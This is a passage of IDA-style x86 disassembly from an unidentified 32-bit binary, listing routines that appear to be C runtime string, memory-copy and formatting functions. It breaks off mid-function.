loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 26906ADh nop test eax, eax jnz short loc_41BDF2 call near ptr 2690DCCh nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, 